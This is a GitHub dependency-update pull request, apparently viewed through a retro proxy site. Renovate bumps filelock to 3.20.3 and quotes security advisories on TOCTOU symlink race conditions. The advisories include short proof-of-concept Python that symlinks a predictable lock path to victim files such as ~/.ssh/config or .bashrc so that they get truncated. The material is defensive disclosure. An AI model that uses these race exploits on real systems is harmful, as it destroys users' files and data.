GeezerVisonThe World Wide Web, restored to 800 pixels of glory. | ||||||||||||||||||||||||||
| Home|About|Gaming cabinet|Archives|How it works|Starter sites | ||||||||||||||||||||||||||
GeezerVison is showing github.com — chore(deps): update dependency filelock to v3.20.3 [security] by renovate-bot · Pull Request #1510 · googleapis/python-spanner
This repository was archived by the owner on Jun 8, 2026. It is now read-only.
Conversation
Contributor
This PR contains the following updates:
GitHub Vulnerability AlertsCVE-2025-68146ImpactA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. Who is impacted: All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. PatchesFixed in version 3.20.1. Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following. Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire(). Users should upgrade to filelock 3.20.1 or later immediately. WorkaroundsIf immediate upgrade is not possible:
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. Technical Details: How the Exploit WorksThe Vulnerable Code PatternUnix/Linux/macOS ( def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate Windows ( def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate The Race WindowThe vulnerability exists in the gap between operations: Unix variant: Windows variant: Step-by-Step Attack Flow1. Attacker Setup: # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target 2. Attacker Creates Race Condition: import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() 3. Victim Application Runs: from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! 4. What Happens Inside os.open(): On Unix systems, when // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } Without Why the Attack Succeeds ReliablyTiming Characteristics:
Success factors:
Real-World Attack ScenariosScenario 1: virtualenv Exploitation # Victim runs: python -m venv /tmp/myenv # Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") # Result: /home/victim/.bashrc overwritten with: # home = /usr/bin/python3 # include-system-site-packages = false # version = 3.11.2 # ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker Scenario 2: PyTorch Cache Poisoning # Victim runs: import torch # PyTorch checks CPU capabilities, uses filelock on cache # Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") # Result: Trained ML model checkpoint truncated to 0 bytes # Impact: Weeks of training lost, ML pipeline DoS Why Standard Defenses Don't HelpFile permissions don't prevent this:
Directory permissions help but aren't always feasible:
File locking doesn't prevent this:
Exploitation Proof-of-Concept ResultsFrom empirical testing with the provided PoCs: Simple Direct Attack (
virtualenv Attack (
PyTorch Attack (
Discovered and reported by: George Tsigourakos (@tsigouris007) CVE-2026-22701Vulnerability SummaryTitle: Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock Affected Component: DescriptionA TOCTOU race condition vulnerability exists in the The vulnerability occurs in the Attack ScenarioImpactWhat kind of vulnerability is it? Who is impacted? This is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability affecting any application using Affected Users:
Consequences:
CVSS v4.0 Score: 5.6 (Medium) Attack Requirements:
PatchesHas the problem been patched? What versions should users upgrade to? Yes, the vulnerability has been patched by adding the Patched Version: Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) Mitigation Details:
Users should:
WorkaroundsIs there a way for users to fix or remediate the vulnerability without upgrading? For users unable to update immediately:
ReferencesAre there any links users can visit to find out more?
Reported by: George Tsigourakos (@tsigouris007) Release Notestox-dev/py-filelock (filelock)
|
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request updates the Highlights
Changelog
Activity
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
Sorry, something went wrong.
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
The reason will be displayed to describe this comment to others. Learn more.
This pull request updates the filelock dependency from version 3.19.1 to 3.20.3 in .devcontainer/requirements.txt. This is a security update to address the vulnerabilities CVE-2025-68146 and CVE-2026-22701, which are Time-of-Check-Time-of-Use (TOCTOU) race conditions. The change correctly updates the package version and its corresponding hashes. The update is appropriate and necessary.
Sorry, something went wrong.
There was an error while loading. Please reload this page.
Edited/Blocked NotificationRenovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR. You can manually request rebase by checking the rebase/retry box above. |
Sorry, something went wrong.
There was an error while loading. Please reload this page.
Renovate Ignore NotificationBecause you closed this PR without merging, Renovate will ignore this update ( If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR. |
Sorry, something went wrong.
There was an error while loading. Please reload this page.
There was an error while loading. Please reload this page.
Successfully merging this pull request may close these issues.
There was an error while loading. Please reload this page.